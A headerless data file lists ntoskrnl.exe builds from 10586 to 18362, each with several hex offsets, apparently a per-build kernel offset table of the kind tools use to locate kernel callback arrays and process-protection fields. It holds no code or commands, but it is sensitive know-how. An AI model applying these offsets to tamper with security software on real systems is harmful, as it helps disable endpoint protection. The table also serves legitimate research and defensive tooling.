ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50
|
||||||
|
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||||
|
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||||
|
ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50
|
||||||
|
ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||||
|
ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||||
|
ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
|
||||||
|
ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50
|
||||||
|
ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50
|
||||||
|
ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50
|
||||||
|
ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||||
|
ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||||
|
ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||||
|
ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50
|
||||||
|
ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50
|
||||||
|
ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50
|
||||||
|
ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50
|
||||||
|
ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50
|
||||||
|
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||||
|
ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50
|
||||||
|
ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50
|
||||||
|
ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50
|
||||||
|
ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50
|
||||||
|
ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50
|
||||||
|
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||||
|
ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50
|
||||||
|
ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50
|
||||||
|
ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50
|
||||||
|
ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50
|
||||||
|
ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50
|
||||||
|
ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50
|
||||||
|
ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50
|
||||||
|
ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50
|
||||||
|
ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
|
||||||
|
ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
|
||||||
|
ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50
|
||||||
|
ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50
|
||||||
|
ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50
|
||||||
|
ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50
|
||||||
|
ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||||
|
ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||||
|
ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50
|
||||||
|
ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50
|
||||||
|
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50
|
||||||
|
ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
|
||||||
|
ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
|
||||||
|
ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50
|
||||||
|
ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50
|
||||||
|
ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50
|
||||||
|
ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50
|
||||||
|
ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
|
||||||
|
ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
|
||||||
|
ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||||
|
ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50
|
||||||
|
ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||||
|
ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
|
||||||
|
ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
|
||||||
|
ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
|
||||||
|
ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50
|
||||||
|
ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50
|
||||||
|
ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||||
|
ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||||
|
ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50
|
||||||
|
ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50
|
||||||
|
ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
|
||||||
|
ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
|
||||||
|
ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50
|
||||||
|
ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50
|
||||||
|
ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
|
||||||
|
ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50
|
||||||
|
ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50
|
||||||
|
ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50
|
||||||
|
ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50
|
||||||
|
ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50
|
||||||
|
ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50
|
||||||
|
ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50
|
||||||
|
ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50
|
||||||
|
ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||||
|
ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||||
|
ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||||
|
ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50
|
||||||
|
ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
|
||||||
|
ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50
|
||||||
|
ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50
|
||||||
|
ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
|
||||||
|
ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50
|
||||||
|
ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50
|
||||||
|
ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
|
||||||
|
ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50
|
||||||
|
ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50
|
||||||
|
ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50
|
||||||
|
ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||||
|
ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
|
||||||
|
ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50
|
||||||
|
ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||||
|
ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||||
|
ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||||
|
ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50
|
||||||
|
ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50
|
||||||
|
ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||||
|
ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
|
||||||
|
ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||||
|
ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50
|
||||||
|
ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||||
|
ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||||
|
ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50
|
||||||
|
ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||||
|
ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50
|
||||||
|
ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50
|
||||||
|
ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||||
|
ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||||
|
ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||||
|
ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50
|
||||||
|
ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||||
|
ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||||
|
ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50
|
||||||
|
ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
|
||||||
|
ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50
|
||||||
|
ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
|
||||||
|
ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50
|
||||||
|
ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50
|
||||||
|
ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50
|
||||||
|
ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50
|
||||||
|
ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50
|
||||||
|
ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||||
|
ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||||
|
ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50
|
||||||
|
ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
|
||||||
|
ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50
|
||||||
|
ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||||
|
ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
|
||||||
|
ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||||
|
ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50
|
||||||
|
ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||||
|
ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50
|
||||||
|
ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
|
||||||
|
ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50
|
||||||
|
ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50
|
||||||
|
ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50
|
||||||
|
ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50
|
||||||
|
ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50
|
||||||
|
ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50
|
||||||
|
ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||||
|
ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
|
||||||
|
ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60
|
||||||
|
ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||||
|
ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60
|
||||||
|
ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||||
|
ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||||
|
ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||||
|
ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50
|
||||||
|
ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60
|
||||||
|
ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60
|
||||||
|
ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
|
||||||
|
ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60
|
||||||
|
ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||||
|
ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60
|
||||||
|
ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||||
|
ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||||
|
ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||||
|
ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||||
|
ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50
|
||||||
|
ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||||
|
ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60
|
||||||
|
ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||||
|
ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||||
|
ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||||
|
ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||||
|
ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60
|
||||||
|
ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
|
||||||
|
ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60
|
||||||
|
ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
|
||||||
|
ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60
|
||||||
|
ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||||
|
ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||||
|
ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
|
||||||
|
ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60
|
||||||
|
ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
|
||||||
|
ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60
|
||||||
|
ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60
|
||||||
|
ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
|
||||||
|
ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60
|
||||||
|
ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
|
||||||
|
ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60
|
||||||
|
ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50
|
||||||
|
ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
|
||||||
|
ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50
|
||||||
|
ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50
|
||||||
|
ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50
|
||||||
|
ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||||
|
ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||||
|
ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50
|
||||||
|
ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50
|
||||||
|
ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||||
|
ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||||
|
ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||||
|
ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50
|
||||||
|
ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50
|
||||||
|
ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
|
||||||
|
ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50
|
||||||
|
ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50
|
||||||
|
ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50
|
||||||
|
ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50
|
||||||
|
ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50
|
||||||
|
ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50
|
||||||
|
ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50
|
||||||
|
ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50
|
||||||
|
ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||||
|
ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||||
|
ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||||
|
ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60
|
||||||
|
ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60
|
||||||
|
